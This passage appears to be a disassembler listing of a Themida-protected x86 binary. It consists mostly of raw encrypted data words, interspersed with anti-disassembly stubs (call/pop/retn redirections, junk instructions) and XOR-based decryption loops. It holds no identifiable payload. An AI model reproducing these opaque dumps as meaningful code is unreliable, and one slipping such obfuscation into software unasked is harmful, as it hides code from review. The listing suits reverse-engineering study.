3E8D1C1h, 58188BC2h dd 68E0Fh, 0CB810000h, 65454F51h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 21C35141h, 82C4F4FCh, 0A7BBB34Ch dd 0EE816660h, 816626BEh, 61C0FEC8h, 83FFBF0Fh, 0E40611BDh dd 840F0007h, 72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0A9C35545h, 0CCFEBB18h, 0B86963h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5881C350h, 6629782Fh, 13D1C381h, 5659D8Bh dd 0F3BF07E4h, 8D7EB0EFh, 0E44FE78Dh, 89FE8B07h, 0E415859Dh dd 66E1FF07h, 0F5ADE781h, 701BD8Bh, 0BD8307E4h, 7E422B9h dd 13840F00h, 9000004h, 0E40B3D95h, 7E907h, 57800000h dd 0E22AF003h, 0B9BD839Dh, 107E422h, 40F840Fh, 95290000h dd 7E41B79h, 22B9BD83h, 0F0307E4h, 3C686h, 0DA7BF00h, 6A606BE7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0E0A9C350h, 2781B57Bh, 9589BBBCh, 7E400D1h dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 2BCCC350h, 0E41D61BDh, 0F5B5307h dd 389h, 0F9B70F00h, 8B04E180h, 0FC90AD9h, 0E084h, 51858B00h dd 8B07E406h, 0E400899Dh, 29853307h, 2907E420h, 0E409F18Dh dd 0F605007h, 0E85h, 9E900h, 78E90000h, 51DD6253h, 5056538Ch dd 0FFA8B52h, 5AADB131h, 4896158h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0EA806070h dd 7914B814h, 8B610F6Ah, 0E42225BDh, 8B006A07h, 0E41C459Dh dd 0DDF26807h, 0CBB6CA6h, 8120BFA2h, 0DE0D2434h, 840F6CB9h dd 0Ch, 6840Fh, 890F0000h, 0 ; --------------------------------------------------------------------------- call dword ptr [ebp+7E42D99h] mov [ebp+7E7F8A5h], eax pusha jns loc_5D89C5 mov esi, [ebp+7E40ABDh] loc_5D89C5: ; CODE XREF: Themida_:005D89B9j mov edi, [ebp+7E4009Dh] popa jmp loc_5D8BDB ; --------------------------------------------------------------------------- push 0 push ecx call sub_5D89DC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D89DC proc near ; CODE XREF: Themida_:005D89D4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5D89DC endp ; --------------------------------------------------------------------------- dd 0B6AA8F37h, 8B7D1E96h, 0E408FD9Dh, 9D858B07h, 0BF07E7F8h dd 7F1B3B31h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0E4D8D7C3h, 1E78EE2Ah dd 0D1BD2BEFh, 8907E421h, 0E4185185h, 0A1B58B07h, 0F07E7F8h dd 585h, 4733BB00h, 10B76FE1h, 99858Bh, 958907E4h, 7E423DDh dd 858B0689h, 7E40651h, 4689FC8Ah, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 96A03CBFh dd 5BF98A57h, 0DA8B5750h, 0C381965Fh, 7810E161h, 7E9h dd 98E20700h, 1027F571h, 0F89DB5FFh, 6A07E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47710C3h dd 0D8E7F712h, 8B3B3254h, 0E402299Dh, 219D0B07h, 0E807E42Ah dd 4, 1F03FFh, 12E9h, 26BD7D00h, 0EE3C0D9Fh, 0ABAA0FAh dd 0C2F8E0B0h, 5050905Fh, 23D7BF66h, 424448Bh, 983EBB66h dd 4489008Bh, 0F510424h, 58Eh, 90DABF00h, 585B46F7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 52C35646h, 7E8656Bh dd 0CB000000h, 0CA4C0B3Eh, 820FECF8h, 6, 52D9589h, 8D5F07E4h dd 0E7F8A585h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 665FE892h, 6A0BCCB0h dd 909FB3E2h, 58D0Fh, 2CBF0000h, 50666AA0h, 13E8h, 28807D00h dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 418C3FA2h, 905F66B3h dd 3880Fh, 8B660000h, 0C18D31FEh, 0FF07E42Fh, 0E42D9995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 94468F23h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 68h, 4Fh ; --------------------------------------------------------------------------- loc_5D8BDB: ; CODE XREF: Themida_:005D89CCj popa push 0 push edi call sub_5D8BE7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8BE7 proc near ; CODE XREF: Themida_:005D8BDFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5D8BE7 endp ; --------------------------------------------------------------------------- push 1Eh jnp loc_5D8C05 mov edi, [ebp+7E424F5h] loc_5D8C05: ; CODE XREF: Themida_:005D8BF9j sub [ebp+7E41A6Dh], ebx or [ebp+7E408F1h], edi mov dword ptr [ebp+7E422B9h], 3 push 0 push eax call sub_5D8C26 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8C26 proc near ; CODE XREF: Themida_:005D8C1Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5D8C26 endp ; --------------------------------------------------------------------------- mov [ecx+68AC2494h], ebx push ss movsx ebx, cx cmp dword ptr [ebp+7E7F8A5h], 0 jz loc_5D8C73 jmp loc_5D8C8E ; --------------------------------------------------------------------------- push 0 push edx call sub_5D8C5D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8C5D proc near ; CODE XREF: Themida_:005D8C55p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5D8C5D endp ; --------------------------------------------------------------------------- db 0E9h, 7Ch, 8Dh ; --------------------------------------------------------------------------- cld and al, bh loc_5D8C73: ; CODE XREF: Themida_:005D8C47j ; Themida_:005D8C8Aj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5D8C73 jmp short loc_5D8CC4 ; --------------------------------------------------------------------------- loc_5D8C8E: ; CODE XREF: Themida_:005D8C4Dj ; Themida_:005D8CA5j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5D8C8E jmp short loc_5D8CC4 ; --------------------------------------------------------------------------- loc_5D8CA9: ; CODE XREF: Themida_:005D8CC0j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5D8CA9 jmp short $+2 loc_5D8CC4: ; CODE XREF: Themida_:005D8C8Cj ; Themida_:005D8CA7j mov eax, eax movzx edi, ax push 0 push eax call sub_5D8CD4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8CD4 proc near ; CODE XREF: Themida_:005D8CCCp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5D8CD4 endp ; --------------------------------------------------------------------------- dd 9FCEEC31h, 22B9BD83h, 0F0307E4h, 41E85h, 319D8900h dd 8307E426h, 0E7F8A5BDh, 840F0007h, 40Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 8EC35545h, 89F72D1Ch dd 0E42C29BDh, 0A5B5FF07h, 6A07E7F8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 22E9C352h dd 636F7A64h, 0EE9ADh, 0CCFC0000h, 6BFA3B37h, 6DCF818Dh dd 0C8D57C51h, 44D95FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0D9DAEDC3h, 0BF7006D8h dd 18AC3365h, 1B29B589h, 0B58B07E4h, 7E7F899h, 20F19D8Bh dd 6C707E4h, 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0F8C35141h, 69B58971h, 5007E418h, 3489DF8Bh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 694CC070h, 3E4EEA66h, 0B5FF87B3h, 7E7F8A5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EC35545h dd 0FC7A7B8Fh, 1B599D8Bh, 95FF07E4h, 7E42A09h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CEC35747h, 99B58B36h dd 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0AD8BC352h, 26D8F9EEh, 860F50CCh dd 6, 1DF99529h, 565F07E4h, 0A419D0Bh, 8B5F07E4h, 0E4316585h dd 6840F07h, 3000000h, 0E42A35BDh, 0C4868907h, 89000000h dd 0E423099Dh, 9DBD8B07h, 8B07E42Bh, 0E41B7195h, 0D3816607h dd 0C283910Dh, 0C19D8B04h, 8907E41Eh, 9D2B2050h, 7E42039h dd 0CD4858Dh, 6A07E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 6186ADC3h, 59D99D5Dh, 81AEF763h dd 236508DFh, 0B8868917h, 8B000000h, 0E420E9BDh, 8B006A07h dd 0E423E99Dh, 0A5B5FF07h, 6A07E7F8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7C9C355h dd 0A2B5A2A3h, 0E8DF8B87h, 5, 441EDF32h, 5BF88AE2h, 95FFF88Bh dd 7E431ADh, 21C5DF81h, 50964996h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 34DAD632h dd 0E49D3600h, 5559BF66h, 1CC5BD8Bh, 0B5FF07E4h, 7E7F8A5h dd 2C5D8589h, 95FF07E4h, 7E41B11h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0BDC35747h, 9665657h, 0BD838E23h dd 7E40DF9h, 4E840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D7A4C357h dd 96752945h, 310F5250h, 585AD88Bh, 6A9650h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BD28FC3h dd 0E41E299Dh, 0A5B5FF07h, 0F07E7F8h, 180h, 0EE9F900h dd 80000000h, 2B8B5C44h, 0DFEB86F7h, 9DA8C8D1h, 7D95FF36h dd 6607E402h, 0FFA23ABFh, 0E7F8A5B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 5E600F84h, 9BCC203Eh, 0EE952h, 82D10000h, 4937BA97h dd 0D6A9F5BBh, 0CD1F7DC7h, 95FFFE8Ah, 7E40971h, 8E9h, 41CE3600h dd 0C67310E1h, 21BD8367h, 207E40Ah, 60840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 4C6852C3h, 29647691h, 0E41B4195h, 0B5858B07h, 6A07E41Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 165DC351h, 31BD1625h, 0AB75BB98h, 0BD890155h dd 7E41595h, 0F0000C6h, 85C7DFB7h, 7E42671h, 0 ; --------------------------------------------------------------------------- jmp loc_5D9113 ; --------------------------------------------------------------------------- adc [edi], ah add eax, 14336D91h mov ah, 0A5h push cs loc_5D9113: ; CODE XREF: Themida_:005D9104j jmp near ptr dword_5D83FC+0CBh ; --------------------------------------------------------------------------- jno loc_5D9131 jmp loc_5D9131 ; --------------------------------------------------------------------------- db 62h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0EEh, 0CFh, 0F0h dd 0EAFA5806h, 25F42B6Ah db 1Ch ; --------------------------------------------------------------------------- loc_5D9131: ; CODE XREF: Themida_:005D9118j ; Themida_:005D911Ej mov eax, ecx call sub_5D9148 adc ah, [edx+ebp+6Eh] dec edx add al, 0C7h retf ; --------------------------------------------------------------------------- dd 5769CF5Dh, 30E161A2h ; =============== S U B R O U T I N E ======================================= sub_5D9148 proc near ; CODE XREF: Themida_:005D9133p add bh, 1Fh pop edi lea eax, [ebp+7E40D85h] push 0 push ecx call sub_5D915D and [ecx-3Dh], bl sub_5D9148 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D915D proc near ; CODE XREF: sub_5D9148+Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5D915D endp ; --------------------------------------------------------------------------- das cmp esi, [edx] test al, 0F9h push eax jmp loc_5D9189 ; --------------------------------------------------------------------------- dd 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h db 2 ; --------------------------------------------------------------------------- loc_5D9189: ; CODE XREF: Themida_:005D9173j mov [esp], eax push 0 push eax call sub_5D9197 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D9197 proc near ; CODE XREF: Themida_:005D918Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D9197 endp ; --------------------------------------------------------------------------- inc ebp mov eax, ds:4647A7CBh sbb al, 65h mov ebx, [ebp+7E42025h] mov bx, 0FE48h push 0 mov ebx, eax push 0 push 0 push ebp call sub_5D91CA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D91CA proc near ; CODE XREF: Themida_:005D91C2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5D91CA endp ; --------------------------------------------------------------------------- pop edx lea eax, [ebp+7E96E88h] push 0 push ecx call sub_5D91EC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D91EC proc near ; CODE XREF: Themida_:005D91E4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5D91EC endp ; --------------------------------------------------------------------------- dd 5E189BE2h, 8B66F8A6h, 5C083F8h, 50FABF0Fh, 489FD8Ah dd 0D4C78124h, 6A559A92h, 14E800h, 8E420000h, 61C79BDh dd 1ACE01CCh, 6C5A7736h, 552D1A5Fh, 11E971EEh, 29000000h dd 0F0E4EE1Eh, 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 0FF006A5Bh dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BB66C34Dh, 0B589AC86h dd 7E40065h, 0D64B8D8Dh, 0D1FF07E7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0B4C35545h, 5E8A2h, 4CE90000h dd 35D8A20h, 0E41BC19Dh, 0BD835B07h, 7E42015h, 58850F01h dd 80000000h, 26AE1C7h, 126DB589h, 509007E4h, 0BF505250h dd 5C54CA3Ah, 60310F5Bh, 6325CAB9h, 0DFD9BF45h, 5A6112C7h dd 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 7E30CAC3h, 79DBE17Ah, 13B1BD8Bh, 95FF07E4h dd 7E431ADh, 0E99DC780h, 0E54h, 0E8h, 0ED815D00h, 7E96E92h dd 8FE54BBh, 0D19D8B1Bh, 6A07E429h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 888C351h dd 81C014DFh, 0B7F8D0DFh, 0E1858D14h, 3107E7C6h, 0E42219BDh dd 13E99007h, 2E000000h, 85DDAE2Eh, 0EA474BC0h, 0F5162D95h dd 0D97C35A6h, 9050ADDAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0D1C35040h, 40CE076Eh, 0F725BF28h, 8B6075ADh dd 0E4127D8Dh, 81BD8907h, 6107E419h, 35FF64h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 80C2C355h, 896421CFh, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 71C02BA6h, 85FF6E0Dh, 7E420B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 65C35646h, 0F88AB34Dh, 6AFF6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 57B222C3h, 0A5EE4105h, 56BA3FA0h, 34A4BF66h, 15B5FF5Fh dd 6A07E40Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 7CA2C350h, 0FF5EBB1Ch, 0E4304D95h dd 10EE907h, 33BF0000h, 0B058C725h, 11858900h, 0E607E40Eh dd 0E3816670h, 71E43AC3h, 3CFEB70Fh, 0ED830F61h, 66000000h dd 0F9636BBh, 6BAC8B6h, 8B000000h, 12BB66C1h, 4E8C1DEh dd 0BE9h, 0CE06FE00h, 0D07C3611h, 5003F71Eh, 52E2F766h dd 0EB7B5BFh, 0C82B5F47h, 0E699D8Bh, 0D18B07E4h, 95895251h dd 7E42C29h, 0A5E95F5Fh, 66000000h, 8B5D69BBh, 47554C85h dd 0F9BF6649h, 7C083BBh, 19CDBD8Bh, 0C08307E4h, 68E0F00h dd 8B000000h, 0E413899Dh, 0FD03B07h, 2483h, 5E900h, 4EDB0000h dd 0F79BB1Dh, 58Fh, 0DF816600h, 5DE92F7Fh, 0F000000h dword_5D9534 dd 48Ah, 0DBF6600h, 0FF8D8BC9h, 0F5FFFFFFh, 3840Fh, 8B660000h ; DATA XREF: Themida_:005850E4o dd 1E183DFh, 3A840Fh, 8D0F0000h, 6, 20219D8Bh, 0A58307E4h dd 0FFFFFFFFh, 0DE8FEh, 1FD80000h, 0A01546BEh, 278E4C0Fh dd 31FB9BE3h, 0E41C999Dh, 95895F07h, 4947554Ch, 0E9FE8B66h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7E8EA0Eh] push 0 push esi call sub_5D95A1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D95A1 proc near ; CODE XREF: Themida_:005D9599p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5D95A1 endp ; --------------------------------------------------------------------------- db 53h, 98h, 0D8h dd 0D380E8FFh, 619D8B33h, 6A07E40Bh, 0A9BB6600h, 4195FF33h dd 0F07E40Eh, 0D1B9FBB7h, 6A00000Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 38CAC350h dd 835B57A3h, 0FE9FCE1h, 94000000h, 871C084Fh, 92E00A8Ah dd 50A0B04Ah, 0FA8BC1C3h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 36F20339h dd 2BAD8529h, 0BD8B07E4h, 7E413C9h, 0B8h, 599D2300h, 2B07E422h dd 33ADF8D2h, 3E8D1C2h, 4E983D0h, 8166F475h, 563E5ED7h dd 880D5Bh, 8D890000h, 7E41B55h, 1B71958Bh, 6A07E4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 1DB2E0C3h, 0EB816B77h, 3175866Fh, 0FE9h, 0C026D400h dd 196ECBE2h, 95B64BC1h, 0CC2E1CE1h, 2DA18D8Bh, 8B5007E4h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FC35747h, 0FAD780E3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A1C35040h dd 8580D0BEh, 44A4EBB5h, 6348B860h, 61F84B80h, 0AF19509h dd 0BD8307E4h, 7E40611h, 5D840F00h, 81000000h, 3A8CF9C7h dd 0B816h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 9F0BDFC3h, 5B589D8h, 8D07E42Ah dd 0E44FE78Dh, 59BD8B07h, 0FF07E424h, 50006AE1h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0FA312F67h, 22B9BD83h, 0F0007E4h, 3EA84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 14E9EFh, 0DFB00000h, 88BDD70Ch, 657B308Dh, 0C9D66382h dd 93D529E5h, 0BD83EC66h, 7E422B9h, 0C3840F01h, 6A000003h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0ED91C353h, 85F8E9E4h, 2B3F97FDh, 83DF8B66h dd 0E422B9BDh, 860F0307h, 358h, 6810Fh, 0BD010000h, 7E412B9h dd 0F8BF0F60h, 1C9BD8Bh, 8C6607E4h, 57006AD9h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 9736FA0Ch dd 48DB8A0Eh, 7DF81F3h, 80140CFAh, 6A04E1h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 87BB5C3h dd 1D575AF8h, 0D585890Ah, 0A07E401h, 21840FC9h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 9382C355h, 7E96A65h, 2000000h, 0FBE5334Ch dd 8529548Eh, 7E404BDh, 651858Bh, 6A07E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 280640C3h dd 63D0D7C9h, 8D09D01Ch, 7E43235h, 20298533h, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 3BFFA1C3h, 904984E2h, 4810F50h, 60000000h, 90616160h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 73C35141h dd 4843484Bh, 6024122Bh, 1890Fh, 8BF50000h, 6A61C7h, 81D9B70Fh dd 1B520CC3h, 0A5976815h, 8B667EA9h, 243481FBh, 7EB6A668h dd 1D19D8Bh, 0FFF807E4h, 0E42D9995h, 6EDB8107h, 890C5A1Ch dd 0E42F89B5h, 0A5858907h, 6A07E7F8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3D81C351h dd 170E9h, 5CE78000h, 0F89D858Bh, 12E807E7h, 0D5000000h dd 0BA7BCFFFh, 20FD2453h, 899A9A15h, 35850079h, 0BE86BB99h dd 0F5B3B7Ch, 0C7FFB7h, 18h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 42C35040h, 8B12DF80h, 0E7F8A1B5h dd 0F59D8B07h, 8B07E423h, 0E4009985h, 0C5BD8B07h, 8A07E400h dd 0FC0689DEh, 651858Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 14F799C3h, 468906F8h dd 96F98B04h, 0E8525053h, 8, 0C3DACFF8h, 7A9B3493h, 66310F5Fh dd 5A12E0BBh, 0F505F58h, 8Eh, 6A9600h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C8E56EC3h dd 54D72DFCh, 0FF174A73h, 0E7F89DB5h, 45BD3307h, 6807E40Eh dd 4EC1731Ch, 3481FB8Bh, 0DE70E324h, 15BD034Eh, 8D07E425h dd 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 21BA5183h, 2C319D8Bh dd 605007E4h, 0EE8h, 0EECB6200h, 5806F0CFh, 2B6AEAFAh dd 8B1C25F4h, 89615FD7h, 85292404h, 7E40911h, 2D9995FFh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 8F10EDC3h, 85C7616Dh, 7E422B9h, 3, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h, 0EFDF4983h dd 0BD8350B3h, 7E7F8A5h, 19840F00h, 29000000h, 0E423E9B5h dd 29E907h, 9E90000h, 7B000000h, 84084749h, 0DE4CBFh, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0CE3AC352h, 0A71673Dh, 12E825h, 8CDC0000h, 76B29BECh dd 2F64DDC7h, 0F3AC5D4h, 6084DBC6h, 0FE9h, 422E3A00h, 6EAEE137h dd 0D6524546h, 7C91323Ah, 6E85Fh, 0D9010000h, 0AD8B2E75h dd 12E9h, 25716800h, 48086BB7h, 0AE3683F6h, 0DC0B2EF5h dd 5F6EE9F2h, 25F99589h, 0BD8307E4h, 7E422B9h, 850F03h dd 6A000005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 8248C350h, 94DDF7A8h, 8A6D3118h dd 95EF81FCh, 834F225Eh, 0E7F8A5BDh, 840F0007h, 4C7h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CDC35646h, 95891071h dd 7E42431h, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 6F513EC3h, 0B08ABD0h dd 0E42B9D9Dh, 0D9D8907h, 0FF07E416h, 0E4044D95h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 96BE6F1Fh, 0AE9D756h, 21000000h, 0BF9B9739h, 56ED9B5Dh dd 99B58B9Ch, 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 548BC355h, 6ECAB287h dd 6DED502Ah, 0EE9h, 0B6FB6D00h, 5B4B4C5h, 0BEC29100h dd 0C79A6AF3h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8B66C7FAh, 0B99D8BD8h dd 9607E430h, 1694BABBh, 0F5BB5052h, 961F544Fh, 1A41BD33h dd 0B5FF07E4h, 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 19C35747h, 1AB4C3D5h, 12E8h, 6A82C200h dd 1C4A56F3h, 0EC53A249h, 27B00790h, 66F1A7E5h, 0FF5BDA8Bh dd 0E42A0995h dd 3160F807h, 0E40B2585h, 8D8B5607h, 7E402E1h, 0B58B615Fh dd 7E7F899h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 7C35141h, 6C7DC276h, 43AA2A48h, 0A8D0Fh, 5E90000h dd 25000000h, 0AFA8EA70h, 3165858Bh, 6A07E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD09F7C3h dd 7E42311h, 0FE9h, 32CC2900h, 21C4A923h, 9C3CBBCAh, 7764A5AAh dd 0C48689h, 0BF0F0000h, 71958BF9h, 8A07E41Bh, 4C283F9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 49C35646h dd 0A4CCBB3Ah, 302DB757h, 12E9h, 13527000h, 0C600A4E7h dd 0B9040A6h, 0C7CE248Eh, 89F34D25h, 8B662050h, 8DFE8BD8h dd 0E80CD485h, 7FBF6607h, 0B88689C1h, 0E9000000h, 0Fh dd 0D02926DFh, 21761405h, 4A19404h, 6A75D714h, 0B5FFF900h dd 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 5BC35747h, 0F73ADDD5h, 10E8E07Fh, 0DB000000h, 75AA4C6Bh dd 5F754031h, 0A43E7AADh, 0F3DEE69h, 178Ch, 12E900h, 7B960000h dd 81059753h, 12396217h, 0DDAD28DAh, 0DC605D02h, 0AD95FF5Bh dd 6A07E431h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 67A3C352h, 6BAB2107h, 10E87Ch dd 0C0980000h, 0DD2DD2E4h, 430C2B82h, 6B9560ECh, 67BB75B6h dd 5B7D2247h, 892FB750h, 6A2434h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 2E251EC3h, 6E188B7Bh dd 0F8A5B5FFh, 0BF0F07E7h, 1195FFFFh, 8B07E41Bh, 0F9BD83D9h dd 7E40Dh, 3D840Fh, 8D890000h, 7E42739h, 8A525096h, 66310FFAh dd 5AB959BFh, 5B515058h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 85225059h, 1FE3819Fh dd 0FF651784h, 0E7F8A5B5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 636A1269h dd 66BACB7Eh, 0A84BDF81h, 659D8960h, 6607E405h, 7366E981h dd 7D95FF61h, 8B07E402h, 0CE8FAh, 76470000h, 10104802h dd 0D6A00688h, 0FF5F5F38h, 